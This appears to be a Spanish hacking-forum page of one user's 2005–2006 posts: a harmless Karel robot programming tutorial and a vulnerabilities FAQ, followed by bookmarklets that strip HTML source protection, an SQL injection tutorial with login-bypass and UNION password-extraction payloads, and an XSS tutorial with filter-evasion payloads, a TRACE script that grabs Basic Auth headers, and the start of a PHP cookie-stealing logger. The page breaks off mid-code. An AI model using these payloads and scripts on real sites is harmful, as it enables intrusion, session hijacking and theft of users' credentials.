elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


  Mostrar Temas
Páginas: 1 2 3 4 5 [6]
51  Programación / Ejercicios / Tutorial de Karel el robot - Aprendiendo a pensar como programador. en: 19 Abril 2006, 07:24 am
Tutorial de Karel el robot
Les advierto, en este pequeño taller no van a aprender a programar en ningun lenguaje que les servira en el futuro.

Aprenderan la sintaxis de Java y/o de Pascal pero NO aprenderan las instrucciones nativas de ninguno de estos.

En este taller aprenderan a programar a un robot virtual llamado Karel.

Antes que nada yo no hize Karel, ni ayude a su desarrollo, solo lo encontre, lo use y me gusto para hacer este taller.

Karel es un robot, con forma de flecha azul xD
es tonto.
no sabe nada mas que:
 avanza;
 gira-izquierda;

ah y:
 coge-zumbador;
 deja-zumbador;

Bueno, pero tiene buena memoria, y es muy obediente.

Este programa se usa en la OMI y desconozco si se use en la IOI tambien.

En fin, "Karel el robot" (de ahora en adelante Karel) puede recibir las instrucciones antes mencionadas.. y vive en un mundo de cuadritos grises, de 100x100.

Este es un ejemplo de Karel en acción:



Lo pueden descargar aqui:

http://www.olimpiadadeinformatica.org.mx/Karel.htm

Hay otras versiones (las originales) pero en ingles y para java aqui:

http://csis.pace.edu/~bergin/KarelJava2ed/KJRDistribution060110.zip
http://csis.pace.edu/~bergin/KarelJava2ed/kareluniverse/kareluniversedist060309.zip
http://www.wiley.com/college/pattis/0471597252/instructor/karel.exe
http://sourceforge.net/project/showfiles.php?group_id=8696
etc..

En fin, abrimos el programa, nos vamos a la pestaña de Mundo.

En la esquina inferior izquierda, y viendo hacia arriba, se encuentra Karel.

si dan click derecho en una zona blanca, podran ver un menu contextual, donde les preguntan si quieren colocar a Karel en ese lugar, y si quieres poner algun zumbador en ese lugar. si dan click al lado de un cuadro gris, se pondra una pared ;).

en fin.. hagamos un "Hola Mundo" (o su equivalente) en Karel.

ponemos a karel (orientado al norte) en las coordenadas: 2,2 es decir aqui:


Nos vamos a la pestaña de Programa.
damos click en Nuevo.

vamos a ver esto:
Código:
iniciar-programa
    inicia-ejecucion
        apagate;
    termina-ejecucion
finalizar-programa

esto hace:

Código:
inicia el programa
    inicia lo que va a ejecutar
        apaga a karel
    termina lo que va a ejecutar
finaliza el programa

:o facil, no?

Todo lo que queramos que haga karel, lo debemos poner despues de:
inicia-ejecucion
y antes de:
termina-ejecucion

ojo!! NUNCA pero NUNCA pongan acentos.

ahora, si queremos que Karel haga algo, pues empezamos a ordenarle:

Código:
iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa
le agregué una linea al programa.. esta:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa

Damos click en el botón COMPILAR.
es muy importante sino no funciona.. acostumbrence a oprimir ese botón, en la gran mayoria de los lenguajes sino es que todos se necesita hacer algo similar antes de ver que hace tu programa.

Una vez que dimos click en COMPILAR. nos vamos a la pestaña de Ejecutar.

Y ahi, al botón Ejecutar.

Genial, Karel avanza un espacio, y se apaga.

Damos Aceptar, y regresamos a la pestaña de Programa.
despues del avanza le agregamos un gira-izquierda;

OJO!! es MUY importante que al finalizar cada instrucción agreguen un "punto y coma" = ";"

El código queda asi:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        apagate;
    termina-ejecucion
finalizar-programa


Damos click a COMPILAR!!
Vamos a la pestaña de Ejecución.
Damos Correr.

y listo, Karel:
  avanza y despues gira a la izquierda

regresamos a Programa.

despues del gira-izquierda agregamos 2 avanza;

queda asi:
Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Damos a COMPILAR!!
vamos a la pestaña de Ejecutar
Damos click en Correr.
y Tssss error.



Obviamente Karel es un robot no un fantasma y no puede pasar por una pared.. resultado el programa te salta error.

En fin, lo superamos entonces ahora tenemos que pensar.. diablos y como va a saber karel si tiene enfrente una pared..

pues bueno, existe algo llamado "si", y se usa asi:

si [condicion] entonces [accion]

ahora, las condiciones que puede detectar Karel son:
Citar
frente-libre
junto-a-zumbador
orientado-al-este
frente-bloqueado
no-junto-a-zumbador
orientado-al-oeste
izquierda-libre
algun-zumbador-en-la-mochila
no-orientado-al-norte
izquierda-bloqueada
ningun-zumbador-en-la-mochila
no-orientado-al-sur
derecha-libre
orientado-al-norte
no-orientado-al-este
derecha-bloqueada
orientado-al-sur
no-orientado-al-oeste

de hecho hay alguna que otra mas, pero esas son mas avanzadas.

Es obvio lo que detecta cada condición ¿no?
Citar
frente-libre      - Detecta si el frente esta libre
junto-a-zumbador  - Detecta si esta junto a zumabador
orientado-al-este - Detecta si Karel esta viendo al este
frente-bloqueado  - Detecta si esta bloquado el frente
no-junto-a-zumbador- Detecta si no esta junto a zumbador
etc..

Genial, ahora usemos "si".

Citar

iniciar-programa
    inicia-ejecucion
        avanza;
        gira-izquierda;
        avanza;
        si frente-libre entonces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


damos click a COMPILAR!!
Pestaña de Ejecutar, Correr.

Y ya no sale error :)

¿que bien no?

Bueno, ahora coloquen a karel en las coordenadas 7,1
para cambiar de posicion a Karel debes irte a la pestaña Mundo.

Nos regresamos a la pestaña programa.

Ahora nosotros queremos que llegue a las coordenadas 1,1
que hacemos?

facil..
Citar

iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        avanza;
        apagate;
    termina-ejecucion
finalizar-programa


:)

Bien, pero les presento a "repetir":
funciona asi:
repetir [cantidad] veces [accion]
entonces si ponemos:
Citar

iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        repetir 6 veces avanza;
        apagate;
    termina-ejecucion
finalizar-programa


hace lo mismo que el anterior.

Bueno, ahora que tal que te digo, que Karel va a estar en una posicion desconocida, y debes llegar a 1,1.

Bueno les presento a "mientras" funciona parecido a "si":

mientras [condicion] hacer [accion]

y hace que mientras se cumpla la condición, haga la acción :o

asi que lo primero, es ver a la izquierda

Código:
gira-izquierda;

despues mientras tengamos el frente-libre hacer avanza;

Código:
gira-izquierda;
mientras frente-libre hacer avanza;

despues debemos ver hacia abajo, porque no sabemos a que altura este Karel.

Código:
gira-izquierda;

y hacemos lo mismo, buscar la pared.

Código:
mientras frente-libre hacer avanza;

el codigo queda asi:

Código:
iniciar-programa
    inicia-ejecucion
        gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa

Genial, ahora coloca a Karel en el mundo en cualquier lugar orientado al norte, y veras que llegara a 1,1 ;)

Ahora, si nos dicen:

Haz que Karel llegue a 1,1 sin saber hacia donde esta viendo karel al principio.

es decir, no sabemos si esta viendo al norte,sur,este,oeste..

entonces usamos mientras.

Código:
mientras no-orientado-al-oeste hacer gira-izquierda;

lo que hace es que va a girar a la izquierda mientras no este orientado al oeste.

colocamos esta linea al prinicpio en lugar de el gira-izquierda, y..

Citar

iniciar-programa
    inicia-ejecucion
        mientras no-orientado-al-oeste hacer gira-izquierda;
        mientras frente-libre hacer avanza;
        gira-izquierda;
        mientras frente-libre hacer avanza;
        apagate;
    termina-ejecucion
finalizar-programa


Ok, ahora en el mundo, pon karel orientado en cualquier posición y en cualquier lugar y llegara a 1,1

Bueno, es facil, facil..

Ahora ¿que pasa si en un "si", "mientras" o un "repite" quieres hacer mas de una acción?

Facil, usamos:

inicio
fin;

OJO!! "inicio" NO lleva comilla, "fin;" SI.

todo lo que este entre inicio y fin se tomara como una acción.

ADEMAS.. "si" nos permite jugar aun mas con el.. ya que existe "sino"

funciona asi:


si [condicion] entonces inicio
acciones;
fin sino inicio
acciones2;
fin;


es decir.
si se cumple la condicion haz "acciones" sino se cumple haz "acciones2"

por ejemplo:
Código:
si orientado-al-norte entonces inicio
   avanza;
   gira-izquierda;
fin sino inicio
   repetir 2 veces inicio (*esto es igual a media vuelta*)
     gira-izquierda;
   fin;
fin;

Nota!!
En Karel todo lo que pongas entre "(*" y "*)" no se tomara en cuenta como instruccion.
Es preferible que siempre uses "inicio" y "fin;" sino puedes llegar a tener errores dificiles de encontrar.

Genial ya casi eres un experto en Karel!! (xD)

ahora sigue declarar funciones.

por ejemplo.. Karel NO tiene un gira-derecha;
que mal ¿no?
pues entonces le enseñas a Karel a girar a la derecha

las funciones se crean asi:


define-nueva-instruccion [nombre] como inicio
  [acciones]
fin;


Nota!!
recuerda NUNCA poner acentos.
recuerda PONER los punto y coma;
recuerda ACENTOS estan prohibidos
xD.

es decir para enseñarle a Karel a girar a la derecha, este es el código:

Código:
define-nueva-instruccion gira-derecha como inicio
  repetir 3 veces gira-izquierda;
fin;

¿Estamos de acuerdo que girar a la derecha es igual que girar 3 veces a la izquierda no?

ahora, es muy importante, las funciones NO se ponen despues de inicia ejecucion, se ponen ANTES!!

vean gira-derecha iria aqui:
Citar

iniciar-programa
define-nueva-instruccion gira-derecha como inicio
    repetir 3 veces gira-izquierda;
fin;

    inicia-ejecucion
        gira-derecha;
        apagate;
    termina-ejecucion
finalizar-programa


Para finalizar, Karel sabe hacer 2 cosas mas.

coge-zumbador;
y
deja-zumbador;

el primero, SI esta arriba de un zumbador, lo agarra, si no SALE ERROR, (esto lo compones usando "si" y la condición "junto-a-zumbador")

el segundo, SI tiene algun zumbador en la mochila (lo especificas en el mundo) lo deja si no SALE ERROR.

y.. eso es lo básico de Karel.. veran que no es muy dificil.. pero ahora se supone que con lo que saben, deben hacer ejercicios muy complejos.. no se preocupen no se los dejare hasta que les enseñe recursividad y paso de variables, pero enserio que pueden complicarte MUCHO la vida con este robotito.

En el programa en la Pestaña ayuda esta un pequeño tutorial de Karel donde les explican un poco mas avanzado esto..

Sin embargo deben poder ya con muchos problemas con Karel.

Les dejo algunos ejercicios.

Citar
Karel inicia en las coordenadas 1,1 orientado al norte.
Sobre el inicia un camino de zumbadores hacia arriba, tu debes hacer un programa que se detenga cuando ya no haya zumbadores o al chocar con pared.

Citar
Karel inicia en las coordenadas 2,1 y su orientación es desconocida, en (1-2) hay una pared de una altura desconocida, tu trabajo es hacer un programa que haga que Karel llegue a 1,1

Ejemplo:


Hay mas ejercicios en http://mundodekarel.cjb.net/ y en http://www.olimpiadadeinformatica.org.mx/Karel.htm

sin embargo por el momento solo podrian hacer ejercicios de dificultad baja, en la proxima sesión les pondre programación de Karel avanzada (recursividad, paso de variables, uso de precede y sucede, si-es-cero, etc..)

mientras tanto, si quieren (y si hay alguien que realmente llego hasta aqui.. xD) pongan sus soluciones, y pues suerte!!

Saludos!!
52  Seguridad Informática / Bugs y Exploits / FAQ de Vulnerabilidades en: 10 Enero 2006, 01:44 am
De momento este sera el FAQ de Vulnerabilidades, sobre vulnerabilidades aquí podrán preguntar Dudas Básicas de sobre Bug y Exploits a nivel de aplicación.

En caso de que sea alguna duda que sea necesario discutirla en el foro, el tema sera movido.

-Anon



Atención
ESTE TALLER CONSTARA DE MULTIPLES SESIONES, PREFIERO IR LENTO Y QUE TODOS ENTIENDAN.



Temario:
Introduccion a Bugs
Definición de Bugs/Exploit
Ejemplo vida real
Ejercicio



Bueno un taller, o como lo veo yo, es algo en donde aprendes de la práctica.
esta es la primera clase (xD) por decirle así, y es un poco para evitar que se vallan por el mal camino, no duden en dejar sus dudas aqui, pero recuerden que seran borradas, para poder dar continuidad al taller, sinembargo todas las dudas seran contestadas en el proximo post.

Primero, que es un Bug?
 contestare eso, diciendo que no es.
NO ES un programa que permite a un "supermegahx0r" entrar a la CIA
NO ES una linea de codigo
NO ES un insecto, ni lo que te estes imaginando que no sea:

un error de programación

eso es todo.. unos diran, UN FORO para eso.. un error de programación, ¿Porque no esta en la categoria de programación? ¿Porque esta en Hacking? ¿Porque todo parece girar alrededor de un Simple Error!!?

Bueno, porque es muy dificil hacer una aplicación GRANDE, segura.
por eso windows tiene errores, porque un grupo cerrado de personas, trabajan dia y noche para hacer muy bonito el sistema operativo, y cobrar sus cheques, pero en algun momento un programador se equivoca, no define bien una variabe, se salta un paso, no limpia una entrada, y un gusano infecta miles de millones de computadoras en 1 dia.

Yo he dicho, que debes saber mas que el propio programador, pero ahora veo que no es realmente así, porque hasta un programador, muy bueno, puede cometer un error, hasta ahora, no he descubierto ningun bug en ninuna aplicación que he hecho, el problema es que otros si lo han logrado.

en un lugar donde creo haber tomado todas las precauciones, siempre encuentran algo.. aveces es desesperante, pero de que alguien conocido encuentre el bug a alguien mas... prefiero yo saberlo, y así corregirlo.

ahora, donde entran los exploits?

los exploits, son otro programa, que usa este "bug" para hacer algo malo..

peinsen en que su programa es un niño chiquito y con amnesia.

deben de decirle que hacer bajo cada situación.

no abras la puerta a ningun extraño.
no dejes pasar a ninguna persona conocida con animales.
no dejes pasar a ninguna persona conocida con armas.

pero llega un señor, desconocido. con un changuito y una pistola, se queda afuera de la puerta, se presenta al niño, el niño lo conoce, y le da al changuito el arma, el changuito entra con el arma y despues el señor, como ya lo conoce el niño, entra, toma el arma una vez dentro, y lo roba.

ahora, el niño siempre siguio tus ordenes.
pero aun así, lo mataron.
¿suena muy fuerte verdad?
ahora que prefieres, que un compañero entre y en lugar de matar al niño, te hable por telefono, diciendote del problema, o.. que lo haga alguien desconocido?

bueno, no se si en alguna clase de computación, la primera clase no prenden las computadoras.. eso me pasa desde primaria.. nunca entendia porque, y hoy ustedes tendran la misma duda.

ustedes son ladrones de bancos, y quieren robar todo el dinero de el banco de la esquina, hay varias funciones (empleados), y estos se deben de encargar de evitar que tu salgas de ahi con dinero que no te pertenece, tu debes de crear un escenario en el cual, sin romper ninguna regla, salgas con el dinero en la mano.

estas son las funciones:

Código:
guardia_de_la_puerta (persona, accion){
si (accion == "entrar"){
 si (alarma_prendida && persona != policia){
 no dejar entrar;
 }sino{
 dejar entrar;
 }
}sino{
 si (alarma_prendida && persona != policia){
 no dejar salir;
 }sino{
 dejar salir;
 }
}
}

cajero(persona,dinero,cuenta){
 if(persona==cuenta.dueño){
 if(dinero<=cuenta.total){
 dar.dinero.a.persona;
 }sino{
 decir("No tiene saldo señor/señora");
 }
 }sino{
 alarma_prendida=true;
 }
}

ahora, tu solo puedes modificar la variable dinero, acción, y cuenta. no puedes falsificar persona.
tu solo tienes una cuenta de $500.00 y quieres sacar todo el dinero del banco. despues debes salir por donde esta el guardia de la puerta, (solo puedes salir por ahi, y DEBES salir)

por cierto, no eres policia.

Respuestas, escribanlas, pero no me las manden.. :) es solo para demostrar el concepto, la proxima sesión ya hablaremos de programación, haber cual es la respuesta mas creativa, el que gane, gana que su post se quede sin borrarse.


Saludos!!

ESTE TALLER CONSTARA DE MULTIPLES SESIONES, PREFIERO IR LENTO Y QUE TODOS ENTIENDAN.
53  Programación / Desarrollo Web / Mostrar codigo fuente escondido por HTML Protector, HTML Guardian, Altrise, etc. en: 11 Diciembre 2005, 06:41 am
Solo por ayudar.. una manera mas sencilla de tirar el altrise HTMLock, HTML Protector, AEVITA Strong - Advanced HTML Encrypt ,HTML Guardian, LastBit WebPassword 6.092, Sare2S Webpage Protector, codificacion escape, o url encode (WebMasterScene HTML Protect), y el srcencode de microsoft, y muchos mas sistemas o programas que intentan esconder el codigo fuente.

colocar esto en la barra de direcciones, para ver el codigo fuente escondido  (htmlocksrc, HTML protector, etc..)
Código:
javascript:'<xmp>'+document.body.innerHTML

y para codificacion con password SOLO EN EL ALTRISE, colocar esto en la barra de direcciones
Código:
javascript:document.write(document.documentElement.innerHTML.split("if(er==1)alert(emsg);return%20false;").join(""));document.forms[0].pwd.value="<HTML><TITLE>";document.forms[0].submit.click();document.forms[0].submit.click();
Y oprimir el boton de show!!

Para probar dar en los demos de..
http://www.atrise.com/htmlock/
http://www.protware.com/demo_e.htm
http://www.aevita.com/web/lock/samples.htm
http://www.share2s.com/web-encrypt.html
http://www.antssoft.com/htmlprotector/protected_sample.htm
http://lastbit.com/webpsw/sample3.htm

Decidi hacer esto, porque me encontre con una pagina con la fuente "Escondida".. asi que como no me gusta le gente envidiosa, y en busca de que internet sea un lugar donde circule la informacion libre.. cree este code.

Y lo peor esque aparte hacen que la gente compre sus productos, cuando asi de facil los tiras, por el caño.. no no que fraude.

la sección de codificacion con password de Altrise esta basado en el texto desarrollado por TULKAS, pero en su metodo, debes descargar la pagina, en este, solo dar enter ;)


Saludos!!


** EDITADO

Uno mas a la lista:
HTMLGuardian

Otro:
Aevita Advanced Password Encrypt

Otro:
Sare2S Webpage Protector

54  Informática / Tutoriales - Documentación / Tutorial de Inyección SQL (SQL Injection) en: 10 Diciembre 2005, 04:34 am
Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.



ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/



Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1
Código:
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
Código:
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}

Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??
  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:
 
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:
  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2
Código:
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
Código:
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}


Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)


Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

Citar
root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí.

Ejercicio :):
¿Que puedes hacer con esta sentencia?
Código:
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Proximamente:
Blind SQL Inyection

Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
55  Informática / Tutoriales - Documentación / Los Poderes Secretos de XSS (Cross Site Scripting) en: 9 Diciembre 2005, 05:02 am
Los Poderes Secretos de XSS por
.


XSS aka Cross Site Scripting es el ataque basado en la explotacion de vulnerabilidades de el sistema de validación de HTML incrustado.
El problema es que normalmente no se valida correctamente, esta vulnerabilidad puede estar de forma directa (foros, mensajes de error, etc..) o indirecta (redirecciones, framesets, etc..)
cada una se trata de forma diferente:

TipoManejo
DirectaEste tipo de XSS, es el que normalmente es censurado, asi que es muy poco comun que puedas usar tags como <script o <iframe, sinembargo nunca es malo probar, para ver formas de pasar estas protecciones, debes de saber mas de HTML que el creador del sitio
IndirectaEsta es un tipo de vulnerabilidad, muy comun, y muy poco explotada, consiste en modificar valores que la aplicacion web utiliza para pasar variables entre 2 paginas, sin usar sesiones.

Indirecta
Explicare primero la Indirecta, ya que es la menos censurada.
Esta sucede cuando hay un mensaje o una ruta en la URL del navegador o en la cookie.
para saber el contenido de una cookie, sin usar ningun tipo de iecv o addin para tu navegador, puedes usar el siguiente script, solo colocalo en la barra de direcciones, y presiona Enter.
Código:
javascript:void(document.cookie=prompt("Modifica el valor de la cookie",document.cookie).split(";"));
una vez dentro podras modificar la cookie a tu antojo, si pones cancelar la cookie se borrará.
ahora, que podemos ver con este ejemplo?
que podemos meter comandos javascript solo modificando una URL, como puedes aventajarte de esto?

Usando FrameSets
bien, regresemos al ejemplo de el frameset, que segun la pagina que coloques te crea un frame a esa pagina.
que pasara si pones, en esa URL
Código:
javascript:while(1)alert("Te estoy floodeando");
y el link, lo pones en un foro, un navegador incauto, va a verlo y dira, bueno, es del mismo dominio, no puede ser nada malo.. y de resultado tendra un loop infinito.

Ahora, hasta ahi llegan los newbies, pero vamos a evolucionar un poco, ahora, que tal que pones un script que tome tu cookie, y mande un mp a el administrador, o incluso, que borre todos tus post en X foro, todo esto es posible.. y solo necesita un poco de imaginación.
Ahora lo que va.. el robo de cookies, es lo mas basico, y tiene como objetivo robar la cookie.. me diran, y eso de que sirve? tengo el PHPSESSID, y si el usuario ciera sesion no me servira de nada.
tienes razon, pero por ejemplo, con el uso de la libreria cURL un usuario malintencionado, podria al recibir tu cookie, entrar a la pagina, y dejarla en cache, para que el atacante cuando quiera, pueda entrar como tu, sin siquiera necesitar tu password.. esto va cobrando seriedad no?
ahora que mas?
Otro uso comun para estas vulnerabilidades es lograr hacer phishing, o colocar un Xploit..
tu ves la barra de direcciones, y ves que estas en una pagina, pero realmente estas en otra.. metes tu pass, y ya valiste.
Pero lo que me gusta mas, son los sitios de descarga, que colocan en la misma url, el sitio de objetivo.. esas paginas, son vulnerables a ataques XSS indirectos directos xD
osea, puedes colocar una imagen con link al sitio malicioso, y se ejecuta, sin que el usuario lo sepa.
Incluso PODIAS borrar un post en phpBB, o hacerte admin (era posible, no me molesten, claro que si), con este tipo de vulnerabilidad.
Ahora, vamos al siguiente tipo indirecto.

Mensaje personalizado
Estas, son forsosamente para links, no funciona en imagenes (al menos no he visto ninguna que sirva.) y va en esta forma:
Código:
error.php?error=Usuario%20Invalido
esa pagina, es vulnerable a XSS Indirecto.
con esto puedes meter casi lo que sea ahi dentro.
un <script> que te cree otra sesion bajo otro usuario, y tu sesion actual la mande a el atacante (es lo que explicaba de cURL hace un momento), o lo que sea.. aqui hay muy pocas limitantes.
Voy a explicar como puedes modificar TODA la pagina, osea todo su aspecto, con una vunerabilidad como esta.
con este codigo, se borra todo el contenido de la pagina, y escribe otra cosa:
Código:
<script>
document.documentElement.innerHTML="DEFACED";
</script>
muy complicado?
esto tiene muchos usos potenciales..

Directa
Esta es la mas divertida, y es cuando en por ejemplo.. un foro como este puedo meter un tag, y ejecutar un codigo, que pueda hacer casi lo mismo, o lo mismo que el Indirecto de Mensaje.
Funciona localizando puntos debiles en la programación de los filtros, asi que si por ejemplo, logran quitar los <iframe, <script etc.. siempre puedes poner un <div malicioso, o incluso un <u> o <s>, etc.. tags que casi siempre estan permitidos.
Esto pone los pelos de punta a muchos webmasters, afortunadamente, muchos no saben del "lado obscuro" de HTML + IExplorer :)
colocare una sección del CheatSheet de RSnake (http://ha.ckers.org/xss.html)
Citar
Código:
Embedded tab to break up the cross site scripting attack: <IMG SRC="jav ascript:alert('XSS');">
Código:
Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
Código:
Spaces and meta chars before the javascript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal):
<IMG SRC=" &#14; javascript:alert('XSS');">
Código:
Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes any non-alpha-non-digit is a non-valid after an HTML and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT&XSS\s":
<SCRIPT&XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
Código:
INPUT image:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
Entre muchos otros, les recomiendo, que cuando busquen vulnerabilidades XSS, entren a esa página muy buena recopilación., voy a profundizar en ún tipo de esos ataques.
Código:
<BR SIZE="&{alert('XSS')}">
<FK STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
usar Style es increiblemente facil de usar, y muchos filtros son vulnerables.
quien se va a imaginar que puedes meter cosas en este!! pues ya ven.. si puedes :)
logicamente no vas a meter todo en el espacio que tienes, puedes usar:
Código:
eval(this.fu)
y en el div, agregar un campo "fu" con el codigo
<div fu="alert('Hola');" STYLE="background-image: url(javascript:eval(this.fu))">

AJAXSS
Este es un tipo de XSS no tan conocido, pero peligroso.
se basa en usar cualquier tipo de vulnerabilidad para introducir un objeto XMLHTTP y desde ahi enviar contenido POST, GET, etc.. automaticamente, sin conocimeinto del usuario, un Bug de XSS, usando esta tecnica en MySpace de MSN, permitio que una persona, lograra tener mucha fama (y es que pudo haber hecho cosas malas, afortunadamente solo hizo esto)
El potencial de este tipo de ataque es infinitamente alto, asi que "Be scared", porque parece ser que tiene un futuro prometedor.

El siguiente script obtiene el valor de las cabezeras de autenticacion de un sistema basado en Basic Auth. solo habria que decodificarlo, pero es mas facil mandarlo codificado a tu log de contraseñas, la codificacion es base64.

Código:
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("TRACE","./",false);
xmlhttp.send();
str1=xmlhttp.responseText;
splitString = str1.split("Authorization: Basic ");
str2=splitString[1];
str3=str2.split("Cache");
alert(str3);

log.php para registrar cookies
Código:
<?php
$archivo = fopen('log2.htm','a');

$cookie = $_GET['c'];
$usuario = $_GET['id'];
$ip = getenv ('REMOTE_ADDR');
$re = $HTTPREFERRER;
$fecha=date("j F, Y, g:i a");

fwrite($archivo, '
USUARIO Y PASSWORD: '.base64_decode($usuario).'
